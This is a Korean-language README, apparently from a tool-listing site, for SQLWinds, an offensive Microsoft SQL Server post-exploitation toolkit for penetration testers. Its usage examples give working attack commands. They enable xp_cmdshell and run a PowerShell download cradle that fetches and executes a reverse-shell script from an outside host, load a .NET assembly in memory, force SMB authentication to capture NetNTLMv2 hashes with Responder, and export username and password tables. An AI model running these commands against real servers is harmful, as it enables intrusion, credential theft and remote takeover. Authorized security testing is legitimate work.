SQLWinds

SQL 보안 평가 및 사후 침투 도구 키트

SQLWinds는 Microsoft SQL Server의 보안 테스트와 익스플로잇을 위한 명령줄 도구입니다. 서버를 심층 분석하고, 권한을 상승시키고, 공격을 실행하고, 네트워크를 통해 피벗할 수 있는 대화형 환경을 제공하며, 인메모리 코드 실행 및 SCCM 데이터베이스 탐색과 같은 작업을 위한 특화된 명령을 포함합니다.

📖 문서 및 리소스

빠른 링크:

• 전체 문서 및 위키 - 전체 사용 가이드 및 명령 참조
• 이슈 신고 - 버그를 발견했거나 기능 요청이 있으신가요?
• 최신 릴리스 - 최신 버전 다운로드

기능

• 다양한 인증: SQL, Windows 통합 인증(--integrated), Kerberos 위임(--kerberos와 --user/--pass)을 지원합니다.
• 포괄적인 열거:
  • 서버 정보, 데이터베이스, 테이블, 열, 사용자 및 권한.
  • 보안 구성 감사(xp_cmdshell, CLR, OLE 등).
  • 민감한 데이터 검색 및 비밀 정보 추출.
  • 연결된 서버(linked server) 열거 및 익스플로잇.
• 사후 침투 및 횡적 이동:
  • 코드 실행: xp_cmdshell, OLE Automation Procedures(sp_oacreate) 및 CLR 통합을 활성화하고 사용.
  • 인메모리 CLR: 디스크에 파일을 떨어뜨리지 않고 .NET 어셈블리를 메모리에서 직접 로드 및 실행(:memclr).
  • 자격 증명 탈취: 릴레이 공격을 위해 UNC 경로로 SMB 인증을 강제(:unc_smb).
  • 레지스트리 상호작용: xp_regread를 통해 레지스트리 키와 값을 읽기.
  • 지속성: SQL 에이전트 작업(Job) 생성, 목록 확인 및 실행.
  • 데이터 유출: 파일 업로드/다운로드 및 쿼리 결과를 CSV/JSON으로 내보내기.
• SCCM 데이터베이스 상호작용: (대상 데이터베이스가 SCCM인 경우)
  • SCCM 감지 및 버전/사이트 정보 보고.
  • 하드웨어, 소프트웨어, 컬렉션 및 배포 인벤토리.
  • SCCM 전용 보안 감사 수행.
• Kerberos 분석: Kerberos 인증 문제를 해결하기 위해 대상과 연결된 SPN을 Active Directory에서 확인.
• 인스턴스 검색: 도메인에서 사용 가능한 SQL Server 인스턴스 열거.
• 고급 REPL: 자동 완성 및 명령 기록을 지원하는 대화형 환경.

설치 및 컴파일

빠른 빌드

리포지토리에는 Windows에서 쉽게 컴파일할 수 있는 build.bat 스크립트가 포함되어 있습니다:

.\build.bat

컴파일된 SQLWinds.exe 실행 파일은 bin\Release\ 디렉터리에 배치됩니다.

수동 빌드

1. .NET Framework(≥ 4.6.1) 또는 .NET SDK가 설치되어 있는지 확인합니다.
2. 리포지토리를 클론합니다:
   root@kitploit:~

   git clone https://github.com/blue0x1/sqlwinds.git
   cd sqlwinds
   

3. 솔루션을 컴파일합니다:
   root@kitploit:~

   msbuild SQLWinds.sln /p:Configuration=Release
   

사용법

기본 연결

# SQL Authentication
SQLWinds.exe --server TARGET\\INSTANCE --user sa --pass Password123

# Windows Authentication (Current User Context)
SQLWinds.exe --server sql01.corp.local --integrated

# Kerberos Delegation (with provided credentials)
SQLWinds.exe --server sql01.prod.corp.local --kerberos --user CORP\\svc_sql --pass SvcPass123!

# Connect and run a single command
SQLWinds.exe --server 10.0.0.5 --user sa --pass pass --run-cmd "SELECT name FROM sys.databases"

일반적인 명령줄 옵션

대화형 REPL 모드

sqlwinds> :info
sqlwinds> :dbs
sqlwinds> :users
sqlwinds> :enable_xp_cmdshell
sqlwinds> :xp whoami
sqlwinds> :spn
sqlwinds> help

전체 REPL 명령 참조

예시: :plain으로 대용량 스크립트 사용

:plain 명령은 대용량 다중 라인 SQL 스크립트를 실행하는 데 필수적입니다.

sqlwinds> :plain
SQL> 
SQL> BEGIN TRY
.....>     SELECT * FROM [VeryImportantTable];
.....>     EXEC sp_configure 'show advanced options', 1;
.....>     RECONFIGURE;
.....> END TRY
.....> BEGIN CATCH
.....>     SELECT ERROR_MESSAGE();
.....> END CATCH
.....> :execute

1. :plain을 입력하고 Enter 키를 누릅니다.
2. 전체 SQL 스크립트를 붙여넣거나 입력합니다.
3. 새 줄에 :execute를 입력하면 전체 스크립트가 실행되고, :cancel을 입력하면 중단됩니다.

예시

1. 감사

SQLWinds.exe --server dc01 --integrated --security-audit 

2. 코드 실행을 위한 xp_cmdshell 활용

SQLWinds.exe --server 192.168.1.15 --user sa --pass pass --enable-xp-cmdshell
# In the REPL that opens:
sqlwinds> :xp whoami /all
sqlwinds> :xp powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.10/revshell.ps1')"

3. 인메모리 CLR 실행(파일리스)

# Compile your .NET assembly to a DLL (e.g., CommandExecutor.dll)
sqlwinds> :enable_clr
sqlwinds> :memclr "C:\Tools\CommandExecutor.dll" "CommandExecutor.Class1" "Exec" "whoami"

4. SRelay를 통한 NetNTLMv2 해시 탈취

# On your machine: sudo responder -I tun0
sqlwinds> :unc_smb \\10.10.15.10\fake_share

5. SCCM 데이터베이스 익스플로잇

SQLWinds.exe --server sccmdb.corp.local --integrated
sqlwinds> :sccm_info
sqlwinds> :sccm_collections
sqlwinds> :sccm_application "Microsoft 365"

6. 데이터 유출

# Export sensitive data to CSV
sqlwinds> :exportcsv "SELECT username, password FROM users" credentials.csv

# Download a file stored in the database
sqlwinds> :download "SELECT file_data FROM documents WHERE id=1" secret.docx

🤝 기여 및 지원

기여를 환영합니다! 개선 아이디어가 있거나 문제를 발견한 경우:

1. 문서는 Wiki를 확인하세요
2. 중복을 피하기 위해 기존 Issues를 검색하세요
3. 제안 사항이나 버그 보고에 대한 자세한 정보와 함께 새 이슈를 작성하세요

⚠️ 면책 조항

이 도구는 공인된 보안 테스트 및 교육 목적으로만 사용해야 합니다. 소유하지 않았거나 테스트를 위한 명시적 허가를 받지 않은 시스템에 대한 무단 사용은 불법입니다. 개발자는 이 프로그램으로 인해 발생하는 오용이나 손해에 대해 책임을 지지 않으며 어떠한 책임도 부담하지 않습니다.

크레딧

blue0x1이(가) 개발했습니다.